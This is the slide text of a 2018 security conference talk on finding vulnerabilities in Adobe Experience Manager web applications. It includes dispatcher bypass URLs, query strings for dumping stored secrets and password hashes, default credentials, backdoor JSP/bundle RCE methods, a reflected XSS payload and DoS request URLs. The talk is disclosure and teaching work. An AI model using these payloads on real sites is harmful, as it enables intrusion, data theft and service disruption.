Hunting for security bugs in AEM webapps
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The document discusses security vulnerabilities in Adobe Experience Manager (AEM) and outlines the methods for exploiting these weaknesses, particularly through AEM's dispatcher and various servlets. It highlights the common misconfigurations by AEM administrators, which often leave critical components insecure and susceptible to attacks, including unauthorized access to sensitive information stored in the JCR repository. The presentation also shares examples of practical exploitation techniques and the potential consequences of these security flaws.
![Using CVE-2016-0957
# Deny content grabbing
/0081 { /type "deny" /url "*.infinity.json" }
/0082 { /type "deny" /url "*.tidy.json" }
/0083 { /type "deny" /url "*.sysview.xml" }
/0084 { /type "deny" /url "*.docview.json" }
/0085 { /type "deny" /url "*.docview.xml" }
/0086 { /type "deny" /url "*.*[0-9].json" }
# Deny query (and additional selectors)
/0090 { /type "deny" /url "*.query*.json" }
}
Policy dispatcher.any before CVE-2016-0957
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![New bypass technique
# Enable features
/0062 { /type "allow" /url "/libs/cq/personalization/*" } # enable personalization
# Deny content grabbing, on all accessible pages, using regular expressions
/0081
{
/type "deny"
/selectors '((sys|doc)view|query|[0-9-]+)’
/extension '(json|xml)’
}
Policy dispatcher.any after CVE-2016-0957
25/110](https://image.slidesharecdn.com/slideshacktivity2018-190125182522/85/Hunting-for-security-bugs-in-AEM-webapps-25-320.jpg)
Hunting for security bugs in AEM webapps
- 1. Hunting for in AEM webapps Mikhail Egorov @0ang3el Budapest 2018
- 2. Mikhail Egorov, @0ang3el • Security researcher • Bug hunter (Bugcrowd, H1) • In Top 20 on Bugcrowd • Conference speaker • Hack In The Box • Troopers • ZeroNights • PHDays • https://twitter.com/0ang3el • https://www.slideshare.net/0ang3el • https://speakerdeck.com/0ang3el • https://github.com/0ang3el
- 3. Why this talk • AEM is an enterprise-grade CMS • AEM is widely used by high-profile companies! 3/110
- 4. Why this talk Companies that use AEM and has public Bug bounty or Vulnerability disclosure programs 4/110
- 5. Why this talk • Using whatruns.com I grabbed 9985 unique domains that use AEM • 5751 AEM installations were on https://domain-name or https://www.domain-name 5/110
- 6. Why this talk • AEM is big and complex => room for security bugs! • 26 known CVEs • Based on open source projects • Apache Felix • Apache Sling • Apache OAK JCR https://helpx.adobe.com/experience-manager/using/osgi_getting_started.html 6/110
- 7. Why this talk • New tools and techniques • Details for fresh CVEs 7/110 Kudos to Jason Meyer (@zaptechsol)
- 8. Previous work • PHDays 2015, @0ang3el • https://www.slideshare.net/0ang3el/hacking-aem-sites 8/110
- 9. Previous work • 2016, @darkarnium • http://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote- Code-Execution-Write-Up.html 9/110
- 10. Previous work • SEC-T 2018, @fransrosen • https://speakerdeck.com/fransrosen/a-story-of-the-passive- aggressive-sysadmin-of-aem 10/110
- 11. Previous work • 2018, @JonathanBoumanium • https://medium.com/@jonathanbouman/reflected-xss-at-philips-com- e48bf8f9cd3c 11/110
- 12. All mentioned vulnerabilities were reported to resource owners or Adobe PSIRT and are fixed!!!
- 13. AEM deployment and AEM dispatcher bypasses
- 14. Common AEM deployment https://aemcorner.com/aem-common-deploy-models/ Main blocks: • Author AEM instance • Publish AEM instance • AEM dispatcher (~WAF) Interacts with Publish server via AEM Dispatcher! 4503/tcp 4502/tcp 443/tcp ? 14/110
- 15. AEM Dispatcher • Module for Web Server (Apache, IIS) • https://www.adobeaemcloud.com/content/companies/public/adobe/dispatcher/dispatcher. html • Provides security (~WAF) and caching layers 15/110
- 16. AEM Dispatcher • In theory … a front end system offers an extra layer of security to your Adobe Experience Manager infrastructure • In practice … it’s the only security layer!!! • Admins rarely keep all components on Publish updated and securely configured 16/110
- 17. AEM Dispatcher • Dispatcher bypasses allow to talk to those “insecure” components … and have LULZ 17/110
- 18. AEM Dispatcher bypasses • CVE-2016-0957 • New bypass technique(no details for now – not fixed ) • Add multiple slashes • SSRF • … 18/110
- 19. Using CVE-2016-0957 /filter { # Deny everything first and then allow specific entries /0001 { /type "deny" /glob "*" } /0023 { /type "allow" /url "/content*" } # disable this rule to allow mapped content only /0041 { /type "allow" /url "*.css" } # enable css /0042 { /type "allow" /url "*.gif" } # enable gifs /0043 { /type "allow" /url "*.ico" } # enable icos /0044 { /type "allow" /url "*.js" } # enable javascript /0045 { /type "allow" /url "*.png" } # enable png /0046 { /type "allow" /url "*.swf" } # enable flash /0047 { /type "allow" /url "*.jpg" } # enable jpg /0048 { /type "allow" /url "*.jpeg" } # enable jpeg /0062 { /type "allow" /url "/libs/cq/personalization/*" } # enable personalization Policy dispatcher.any before CVE-2016-0957 19/110
- 20. Using CVE-2016-0957 # Deny content grabbing /0081 { /type "deny" /url "*.infinity.json" } /0082 { /type "deny" /url "*.tidy.json" } /0083 { /type "deny" /url "*.sysview.xml" } /0084 { /type "deny" /url "*.docview.json" } /0085 { /type "deny" /url "*.docview.xml" } /0086 { /type "deny" /url "*.*[0-9].json" } # Deny query (and additional selectors) /0090 { /type "deny" /url "*.query*.json" } } Policy dispatcher.any before CVE-2016-0957 20/110
- 22. Using CVE-2016-0957 https://aemsite/bin/querybuilder.json https://aemsite/bin/querybuilder.json/a.css /0090 { /type "deny" /url "*.query*.json" } Last rule that matches the request is applied and has deny type! ahttps://aemsite/bin/querybuilder.json/a.png https://aemsite/bin/querybuilder.json;%0aa.css https://aemsite/bin/querybuilder.json/a.1.json Blocked 22/110
- 23. Using CVE-2016-0957 https://aemsite/bin/querybuilder.json/a.css https://aemsite/bin/querybuilder.json/a.css /0041 { /type "allow" /url "*.css" } # enable css Last rule that matches the request is applied and has allow type! ahttps://aemsite/bin/querybuilder.json/a.png https://aemsite/bin/querybuilder.json;%0aa.css https://aemsite/bin/querybuilder.json/a.1.json Allowed 23/110
- 24. New bypass technique /filter { # Deny everything first and then allow specific entries /0001 { /type "deny" /glob "*" } # Allow non-public content directories /0023 { /type "allow" /url "/content*" } # disable this rule to allow mapped content only # Enable extensions in non-public content directories, using a regular expression /0041 { /type "allow" /extension '(clientlibs|css|gif|ico|js|png|swf|jpe?g|woff2?)’ } Policy dispatcher.any after CVE-2016-0957 24/110
- 25. New bypass technique # Enable features /0062 { /type "allow" /url "/libs/cq/personalization/*" } # enable personalization # Deny content grabbing, on all accessible pages, using regular expressions /0081 { /type "deny" /selectors '((sys|doc)view|query|[0-9-]+)’ /extension '(json|xml)’ } Policy dispatcher.any after CVE-2016-0957 25/110
- 26. New bypass technique # Deny content grabbing for /content /0082 { /type "deny" /path "/content" /selectors '(feed|rss|pages|languages|blueprint|infinity|tidy)’ /extension '(json|xml|html)’ } } Policy dispatcher.any after CVE-2016-0957 26/110
- 27. New bypass technique https://aemsite/bin/querybuilder.json https://aemsite/bin/querybuilder.json/a.css https://aemsite/bin/querybuilder.json;%0aa.css Blocked 27/110 Sorry, details will be disclosed later!
- 28. Add multiple slashes • ///etc.json instead of /etc.json • ///bin///querybuilder.json instead of /bin/querybuilder.json 28/110
- 29. Using SSRF • We need SSRF in a component that is allowed by AEM dispatcher policy • Effective way to bypass AEM dispatcher! 29/110
- 30. Things to remember • Usually AEM dispatcher is the only security layer • Usually it’s easy to bypass AEM dispatcher • AEM admins usually fail to configure Publish instance securely and install updates timely … • Profit! 30/110
- 31. Quickly “sniff out” buggy AEM webapp
- 32. Get JSON with JCR node props /.json /.1.json /.childrenlist.json /.ext.json /.4.2.1...json /.json/a.css /.json/a.html /.json/a.png /.json/a.ico /.json;%0aa.css /content.json /content.1.json /content.childrenlist.json /content.ext.json /content.4.2.1...json /content.json/a.css /content.json/a.html /content.json/a.png /content.json/a.ico /content.json;%0aa.css /bin.json /bin.1.json /bin.childrenlist.json /bin.ext.json /bin.4.2.1...json /bin.json/a.css /bin.json/a.html /bin.json/a.png /bin.json/a.ico /bin.json;%0aa.css / /bin/content 32/110
- 33. Yea baby this is AEM https://<redacted>.twitter.com/.json https://<redacted>.twitter.com/.ext.json 33/110
- 35. Yea baby this is AEM https://<redacted>.adobe.com/system/sling/loginstatus.css https://www.<redacted>/system/bgservlets/test.json 35/110
- 36. Grabbing juicy data from JCR
- 37. What we can find • Everything is stored in JCR repository as node properties including: • Secrets (passwords, encryption keys, tokens) • Configuration • PII • Usernames 37/110
- 38. AEM servlets for grabbing loot • DefaultGetServlet • QueryBuilderJsonServlet • QueryBuilderFeedServlet • GQLSearchServlet • … 38/110
- 39. DefaultGetServlet • Allows to get JCR node with its props • Selectors • tidy • infinity • numeric value: -1, 0, 1 … 99999 • Formats • json • xml • res 39/110
- 40. DefaultGetServlet • Allows to get JCR node with its props • Selectors • tidy • infinity • numeric value: -1, 0, 1 … 99999 • Formats • json • xml • res good for retrieving files 40/110
- 41. DefaultGetServlet https://aem.site/.tidy.3.json jcr:root selector tidy selector depth output format Get JCR nodes with props starting from jcr:root with depth 3 and return formatted JSON 41/110
- 42. DefaultGetServlet – How to grab • Get node names, start from jcr:root • /.1.json • /.ext.json • /.childrenlist.json • Or guess node names: /content, /home, /var, /etc • Dump props for each child node of jcr:root • /content.json or /content.5.json or /content.-1.json 42/110
- 43. DefaultGetServlet – What to grab • Interesting nodes • /etc – may contain secrets (passwords, enc. keys, …) • /apps/system/config or /apps/<smth>/config (passwords, …) • /var – may contain private information (PII) • /home – password hashes, PII • Interesting props – contain AEM users names • jcr:createdBy • jcr:lastModifiedBy • cq:LastModifiedBy 43/110
- 44. P1 submission for private BB program - AEM webapp reveals DB passwords /apps/<redacted>/config.author.tidy.1..json/a.ico DefaultGetServlet – In the wild 44/110
- 45. • We can search JCR using different predicates • https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/querybuilder- predicate-reference.html • QueryBuilderJsonServlet allows to get Nodes and their Props (DefaultGetServlet on steroids) • QueryBuilderFeedServlet allows to get Nodes (no Props) • but we can use blind binary search for Props QueryBuilder: JsonServlet & FeedServlet 45/110
- 46. QueryBuilder: JsonServlet & FeedServlet ///bin///querybuilder.json ///bin///querybuilder.json.servlet ///bin///querybuilder.json/a.css ///bin///querybuilder.json.servlet/a.css ///bin///querybuilder.json/a.ico ///bin///querybuilder.json.servlet/a.ico ///bin///querybuilder.json;%0aa.css ///bin///querybuilder.json.servlet;%0aa.css ///bin///querybuilder.json/a.1.json ///bin///querybuilder.json.servlet/a.1.json ///bin///querybuilder.json.css ///bin///querybuilder.json.ico ///bin///querybuilder.json.html ///bin///querybuilder.json.png /bin/querybuilder.json ///bin///querybuilder.feed.servlet ///bin///querybuilder.feed.servlet/a.css ///bin///querybuilder.feed.servlet/a.ico ///bin///querybuilder.feed.servlet;%0aa.css ///bin///querybuilder.feed.servlet/a.1.json /bin/querybuilder.feed.servlet 46/110
- 47. Examples of useful searches • type=nt:file&nodename=*.zip • path=/home&p.hits=full&p.limit=-1 • hasPermission=jcr:write&path=/content • hasPermission=jcr:addChildNodes&path=/content • hasPermission=jcr:modifyProperties&path=/content • p.hits=selective&p.properties=jcr%3alastModifiedBy&property=jcr%3alast ModifiedBy&property.operation=unequals&property.value=admin&type=n t%3abase&p.limit=1000 • path=/etc&path.flat=true&p.nodedepth=0 • path=/etc/replication/agents.author&p.hits=full&p.nodedepth=-1 47/110
- 48. Examples of useful searches type=nt:file&nodename=*.zip P1 submission for private BB – grab prod config for Author server 48/110
- 49. path=/home&p.hits=full&p.limit=-1 P1 submission for private BB – grab AEM users hashed passwords Examples of useful searches 49/110
- 50. Examples of useful searches hasPermission=jcr:write&path=/content P2 submission for Twitter BB – Persistent XSS with CSP bypass Root cause: • /content/usergenerated/etc/commerce/smartlists was writable for anon user • POST servlet was accessible for anon user 50/110
- 51. Examples of useful searches p.hits=selective&p.properties=jcr%3alastModifiedBy&property=jcr%3al astModifiedBy&property.operation=unequals&property.value=admin& type=nt%3abase&p.limit=1000 AEM users names! 51/110
- 52. Examples of useful searches path=/etc&path.flat=true&p.nodedepth=0 path=/etc/cloudsettings&p.hits=full&p.nodedepth=-1 /etc.childrenlist.json /etc/cloudsettings.-1.json 52/110
- 53. GQLSearchServlet • GQL is a simple fulltext query language, similar to Lucene or Google queries • https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference- materials/javadoc/index.html?org/apache/jackrabbit/commons/query/GQL.html • We can get Node names (not Props) • but we can use blind binary search for Props 53/110
- 55. GQLSearchServlet – examples of searches query=path:/etc%20type:base%20limit:..-1&pathPrefix= /etc.ext.infinity.json 55/110
- 56. Enum users & brute creds
- 57. Enum users • DefaultGetServlet or QueryBuilderJsonServlet • Default users • admin • author • … 57/110
- 58. Enum users • DefaultGetServlet or QueryBuilderJsonServlet • Default users • admin • author • … King of AEM Default password – admin 58/110
- 59. Enum users • DefaultGetServlet or QueryBuilderJsonServlet • Default users • admin • author • … Has jcr:write for /content Default password – author 59/110
- 60. Brute creds • AEM supports basic auth, no bruteforce protection! • LoginStatusServlet – /system/sling/loginstatus.json VS 60/110
- 62. P1 submission for Adobe VDP – Default admin creds Bugs in the wild 62/110
- 63. P1 submission for LinkedIn VDP – Weak passwords for some AEM users Bugs in the wild 63/110
- 65. Universal RCE variants • Uploading backdoor OSGI bundle • Requires admin and access to /system/console/bundles • https://github.com/0ang3el/aem-rce-bundle.git (works for AEM 6.2 or newer) • Uploading backdoor jsp script to /apps • Requires write access to /apps • Requires ability to invoke SlingPostServlet • https://sling.apache.org/documentation/getting-started/discover-sling-in-15-minutes.html • … 65/110
- 66. Generate skeleton for AEM bundle 66/110 mvn org.apache.maven.plugins:maven-archetype-plugin:2.4:generate -DarchetypeGroupId=com.adobe.granite.archetypes -DarchetypeArtifactId=aem-project-archetype -DarchetypeVersion=11 -DarchetypeCatalog=https://repo.adobe.com/nexus/content/groups/public/ mvn org.apache.maven.plugins:maven-archetype-plugin:2.4:generate -DarchetypeGroupId=com.day.jcr.vault -DarchetypeArtifactId=multimodule-content-package-archetype -DarchetypeVersion=1.0.2 -DarchetypeCatalog=https://repo.adobe.com/nexus/content/groups/public/ For AEM 6.2 For AEM 5.6
- 69. Uploading backdoor jsp script • Create node rcenode somewhere with property sling:resourceType=rcetype • Create node /apps/rcetype and upload html.jsp with payload to node • Open https://aem-site/rcenode.html?cmd=ifconfig and have LULZ • https://github.com/0ang3el/aem-hacker/blob/master/aem-rce-sling-script.sh 69/110
- 71. Server Side Request Forgery
- 72. SSRF in ReportingServicesProxyServlet CVE-2018-12809 • Versions: 6.0, 6.1, 6.2, 6.3, 6.4 • Allows to see the response • Leak secrets (IAM creds), RXSS (bypasses XSS filters), bypass dispatcher • https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html /libs/cq/contentinsight/content/proxy.reportingservices.json /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet 72/110
- 74. SSRF in ReportingServicesProxyServlet P1 submission for private BB – Leak IAM role creds 74/110
- 75. SSRF in ReportingServicesProxyServlet P1 submission for private BB – Ex-filtrate secrets from /etc via SSRF 75/110
- 76. SSRF in ReportingServicesProxyServlet P2 submission for Adobe VDP – SSRF and RXSS 76/110
- 77. SSRF in SalesforceSecretServlet CVE-2018-5006 • Versions: 6.0, 6.1, 6.2, 6.3, 6.4 • Allows to see the response** • Leak secrets (IAM role creds), RXSS (bypasses XSS filters) • https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html /libs/mcm/salesforce/customer.json ** - Servlet makes POST request to URL 77/110
- 79. SSRF in SalesforceSecretServlet P1 submission for Adobe VDP – Leak IAM role creds 79/110
- 80. SSRF in SalesforceSecretServlet P2 submission for private BB – SSRF and RXSS 80/110
- 81. SSRF in SiteCatalystServlet No CVE from Adobe PSIRT • Allows to blindly send POST requests • Allow to specify arbitrary HTTP headers via CRLF or LF injection • HTTP smuggling (works for Jetty) /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json 81/110
- 82. SSRF in SiteCatalystServlet 82/110
- 84. SSRF in AutoProvisioningServlet No CVE from Adobe PSIRT • Allows to blindly send POST requests • Allow to inject arbitrary HTTP headers • HTTP smuggling (works for Jetty) /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json 84/110
- 85. SSRF in AutoProvisioningServlet 85/110
- 87. SSRF to RCE • It’s possible to escalate 2 SSRFs to RCE on Publish server • Tested on AEM 6.2 before AEM-6.2-SP1-CFP7 fix pack • https://www.adobeaemcloud.com/content/marketplace/marketplaceProxy.html?pack agePath=/content/companies/public/adobe/packages/cq620/cumulativefixpack/AEM- 6.2-SP1-CFP7 87/110
- 88. SSRF to RCE • Topology is used by replication mechanisms in AEM • https://sling.apache.org/documentation/bundles/discovery-api-and-impl.html • https://helpx.adobe.com/experience-manager/kb/HowToUseReverseReplication.html • To join Topology PUT request must be sent to TopologyConnectorServlet • TopologyConnectorServlet is accessible on localhost only (default) • Via SSRF with HTTP smuggling we can access TopologyConnectorServlet 88/110
- 89. SSRF to RCE • When node joins the topology Reverse replication agent is created automatically • Reverse replication agent replicates nodes from malicious AEM server to Publish server … RCE! 89/110
- 91. <script> AEM XSS </script>
- 92. XSS variants • Create new node and upload SVG (jcr:write, jcr:addChildNodes) • Create new node property with XSS payload (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDebugFilter XSS – CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets return HTML tags in JSON response 92/110
- 93. XSS variants • Create new node and upload SVG (jcr:write, jcr:addChildNodes) • Create new node property with XSS payload (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDebugFilter XSS – CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets return HTML tags in JSON response Persistent 93/110
- 94. • Create new node and upload SVG (jcr:write, jcr:addChildNodes) • Create new node property with XSS payload (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDebugFilter XSS – CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets return HTML tags in JSON response XSS variants Reflected 94/110
- 95. XSS variants • Create new node and upload SVG (jcr:write, jcr:addChildNodes) • Create new node property with XSS payload (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDebugFilter XSS – CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets return HTML tags in JSON response 95/110
- 96. SuggestionHandler servlet • /bin/wcm/contentfinder/connector/suggestions.json • Reflects pre parameter in JSON response • What if Content-Type of response is based on file extension in URL: • /a.html 96/110
- 97. XSS variants P3 submission for private BB – Reflected XSS /bin/wcm/contentfinder/connector/suggestions.json/a.html?query_term=path%3a/&pre=%3Csvg+onloa d%3dalert(document.domain)%3E&post=yyyy 97/110
- 98. DoS attacks
- 99. DoS is easy • /.ext.infinity.json • /.ext.infinity.json?tidy=true • /bin/querybuilder.json?type=nt:base&p.limit=-1 • /bin/wcm/search/gql.servlet.json?query=type:base%20limit:..- 1&pathPrefix= • /content.assetsearch.json?query=*&start=0&limit=10&random=123 • /..assetsearch.json?query=*&start=0&limit=10&random=123 • /system/bgservlets/test.json?cycles=999999&interval=0&flushEvery=1111 11111 99/110
- 101. Other tricks
- 102. ExternalJobPostServlet javadeser • Old bug, affects AEM 5.5 – 6.1 • http://aempodcast.com/2016/podcast/aem-podcast-java-deserialization- bug/ • /libs/dam/cloud/proxy.json • Parameter file accepts Java serialized stream and passes to ObjectInputStream.readObject() 102/110
- 103. ExternalJobPostServlet javadeser Payload from oisdos tool 103/110
- 105. XXE via webdav • Old bug, CVE-2015-1833 • It’s possible to read local files with PROPFIND/PROPPATCH • https://www.slideshare.net/0ang3el/what-should-a-hacker-know-about- webdav 105/110
- 106. XXE via webdav – webdav support is on? • Send OPTIONS request • Allow headers in response contain webdav-related methods • Navigate to /crx/repository/test • 401 HTTP and WWW-Authenticate: Basic realm="Adobe CRX WebDAV" 106/110
- 107. AEM hacker toolset
- 108. AEM hacker toolset •https://github.com/0ang3el/aem-hacker.git • aem_hacker.py • aem_discoverer.py • aem_enum.py • aem-rce-sling-script.sh • aem_ssrf2rce.py • aem_server.py & response.bin • You need VPS to run aem_hacker.py 108/110
- 109. AEM hacker toolset – aem-hacker.py • Sensitive nodes exposure via DefaultGetServlet (/apps, /etc, /home, /var) • QueryByulderJsonServlet & QueryByulderFeedServlet & GQLSearchServlet exposure • PostServlet exposure • SSRFs checks • LoginStatusServlet & default creds check • SWF XSSes • WCMDebugFilter XSS • SuggestionHandler XSS • Log records exposure via AuditLogServlet • ExternalJobPostServlet javadeser • … 109/110 Tries to bypass AEM dispatcher!!!
- 110. THANK U! @0ang3el